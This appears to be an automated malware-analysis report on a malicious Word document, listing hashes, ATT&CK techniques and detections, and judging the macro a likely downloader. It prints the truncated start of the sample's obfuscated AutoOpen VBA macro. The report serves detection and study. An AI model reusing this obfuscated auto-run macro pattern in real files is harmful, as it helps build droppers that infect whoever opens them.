Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9deaa382a878cc00…

MALICIOUS

Office (OLE)

194.4 KB Created: 2018-09-25 10:45:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 9eb9e9ea2802c17ced021b6f39f10611 SHA-1: 61b546fefb8dcede499db7724609847282f79ab1 SHA-256: 9deaa382a878cc00d3b5d3720c2f5329a6998ef65d1a66f1924ad289fed9bf01
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and utilizes the Shell() function, indicating an attempt to execute external code. The macro is heavily obfuscated, but the presence of the Shell() call and the ClamAV detection strongly suggest it functions as a downloader for a second-stage payload. No specific family could be identified due to the obfuscation and lack of clear indicators.

Heuristics 6

  • ClamAV: Doc.Downloader.00536d-6698374-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6698374-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 198796 bytes
SHA-256: 02d1f01afa8d38b6c7a17e47a78417dc2417ee013c9d187583b1dcedb4cf8431
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dnMpabRzY"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim EEicLL(1)
EEicLL(0) = Right(wsBBN + KphHmipDLGEOowjE + WLqNC, 851) + Mid(UwKjmzm + XPZObREGBiDDSFodqu + iHiMwY, 589, 208) + Mid(FLoTruul + qRiRjdjJJHuuHtEIhX + NzHUj, 270, 879) + MidB(mjiNd + wvzBSiHuYjBqdzLQUYft + ZCLEPh, 585, 564)
   Dim fNXGG(2)
fNXGG(0) = Left(DKwidTRI + CmbSjGwSlmuXaLZtj + zNMDi, 136) + Mid(ktkmii + wHKInLInYZsOjlp + FfYGJv, 7, 871) + Left(wbiDcmZ + wBDQJhOsfDBouRiDwr + wCczUE, 301) + Mid(FQoNB + YXhINGHjFCLEWzjFNhkS + DwwYFPA, 53, 388)
fNXGG(1) = MidB(KrErTVR + EXlYjdvAhoFYfmiapB + rFWHfOt, 238, 367) + Left(YjLXp + EBnqWlMhhmqYBvnMhwhGU + RGdzO, 870) + Left(wGwBj + lhMacfFdRFdinXuSUFQhTs + Eoqsia, 737) + Mid(uusWL + hIPbQZLjPQpUztKBoCZWCw + AXbwIb, 618, 14)
   Dim pwuqW(1)
pwuqW(0) = MidB(hbNurE + WsOmIEMrRQaOzIkivQk + wEnvi, 873, 264) + Mid(OZCvK + CkDYGjjSYpHHmIGp + sizEDX, 988, 465)
   Dim mapnf(1)
mapnf(0) = MidB(aLissbN + BMvHQBisjvSfrFRnCKXl + FioWhbwz, 703, 600) + Right(PvkvDvz + vTYUaJFUibRTKPLFwUuMn + VCGHc, 733) + Left(KPQBGR + QAqQwlRFjtwzAHkiXwNCoiwz + NFnXbi, 225) + Right(FkkBSs + ZJHfWiduCwBiNfaiGbV + oFSCmwuJ, 936)
   Dim lLjHH(1)
lLjHH(0) = Left(IWHiT + RPuFmVQYvjKRqYBiaDtKz + IwsWo, 806) + MidB(YsbViFu + lawWTkVipGjYFaMSuCGqK + faHrYj, 90, 122) + MidB(KpoNXr + swzmjEsbDkimBEuXQQ + ShWokXE, 441, 215) + Mid(SnStujmj + VtoYDJcUOjRShjTUXj + uTwjL, 17, 760)
   Dim QazbVB(2)
QazbVB(0) = MidB(ziGFbST + lCtjKCPTjTppOSMSQCmtS + DqiQLWt, 877, 515) + Mid(IGYjHoUl + PntQvjowIawZoRVwv + zTDRtjvw, 491, 625) + MidB(oClzQV + cMSqcKSXzoppZMdHCt + unFKWDR, 100, 528) + Right(LlAMoTWc + roJMMLmNHLbdXCnPGtND + EZApnj, 313)
QazbVB(1) = MidB(CzwzJ + SNdfkHcRDiNUlnzImmw + vBVVDaS, 580, 458) + Left(zariwwp + zCGbYNJAErWnBjjGqlEp + iKvSM, 819) + Left(pdtutw + SdTlELIvJojiMOWtDNho + zzYqotKQ, 466) + MidB(WGASmnW + NqqjjWDmEloFNASGP + JjSpIV, 511, 321)
   Dim AmUDt(2)
AmUDt(0) = Right(fSUwQKjJ + juvOfbDJmdXjNoSbC + VGjlO, 371) + Right(KzjSEPAz + tzjMTHzSCWROYYoitJI + bjnuQQ, 253)
AmUDt(1) = Mid(MJtXJmYf + kRtQvfrMRbjOknULj + hUUfVAOB, 191, 275) + Left(fDiPs + YAXUHXJYzETfjZwPjfdL + KiEKCX, 538) + Left(coKzMILr + FuOGkITdGFvHwsFwV + zhXGYZj, 134) + Left(nJBSwYTq + wPsjwrQPGsUadjdvikWj + jOoAU, 715)
   Dim WdwniP(2)
WdwniP(0) = Mid(vuqMGAV + kATLjTwpFEEwbjkzlRbTlkcm + nSczXQnK, 474, 802) + Left(woKcfwSK + GhwVIhbEhOwGFaLtaaF + TnIIEfT, 458) + MidB(MvACIGd + ckAhYAaHRBjADUXYWZ + haahEYCn, 934, 560) + MidB(BTGkI + MGPzLoAniEbLPGzTVwE + DjBKi, 281, 751)
WdwniP(1) = Right(RAjSbPpQ + ErBImHznpIJKviqdRY + juOKAiid, 100) + MidB(ZMBXPDhO + iHtGHjkmFqJCSOXUELDj + wtGbZ, 707, 192)
tXEVcoNjozLQc (KeyString(vLtjjLBN + cJDGm + 3 + 9 + 6 + 2 + 47 + ntoUk + FGUDM) + MfvLO + FwEcHMQ + KeyString(zQWrkMEZ + jaaqw + 3 + 10 + 7 + 2 + 55 + sQdIuXph + ksdqtkMX) + UiEZljFKzGi + GYrNLf + bufOcwjtVGa + awXuEAt + rGQfFU + ISHlZQo + ARcnK + ZajraDhon + kwYalIoo + vbbtnzFd + NkcKY + aVTjoMLmji + HHfah + diorHd + rQuSiX)
   Dim Snaqh(1)
Snaqh(0) = Mid(nNMJls + WOSjuAOomiEZDfaUpcGtdM + HjBnTF, 604, 97) + Right(icCDw + DJukhQKYEOPUkiHHlw + twaTPzRm, 575) + Mid(aCPhZulc + RpkSKUvrCFrLASBMHS + fPQUBiNA, 434, 328) + MidB(IpBEFzq + jirPvSjPnhhsFXTNdCjaM + RRwHKcz, 632, 926)
   Dim pqvLS(2)
pqvLS(0) = MidB(bYSjDQv + sCANtrVASfTWpSlfuLQEA + TpwiCv, 902, 185) + Left(XIVzViK + MEiUqliQZczAKfYVQjYNP + JQiZhF, 85) + Right(IkUGtXfU + iXwpYpJpOoqSDXbBrXtzTW + OcsEE, 557) + Left(wLaJkXQ + CRSRjSIzsZoZiSvNrKkOA + QoYRTHZ, 165)
pqvLS(1) = MidB(WufJk + ksuWhHZcDdiSwHBUZB + PRMOOi, 312, 60) + Right(wdHZE + wKrEvizEzXIPLaiEUtL + AWbTa, 205)
   Dim TYVcOa(1)
TYVcOa(0) = Left(vNjKqqj + TcaHIVSrHiCmrnvpWnZYJ + hkmSX, 866) + Left(muIZK + NWSwcWBPDuouDRjGnh + kllbEn, 741) + Right(mTZCGLw + jXOczVsrrsElziMrh + doKGZP, 830) + MidB(iOdwF + lNFMwWjWwoFXwtWtaS + GBtlJqmW, 615, 740)
   Dim FFPmQ(2)
FFPmQ(0) = MidB(QvPkwLh + JNAIfqSKnIcFJWUSN 
... (truncated)

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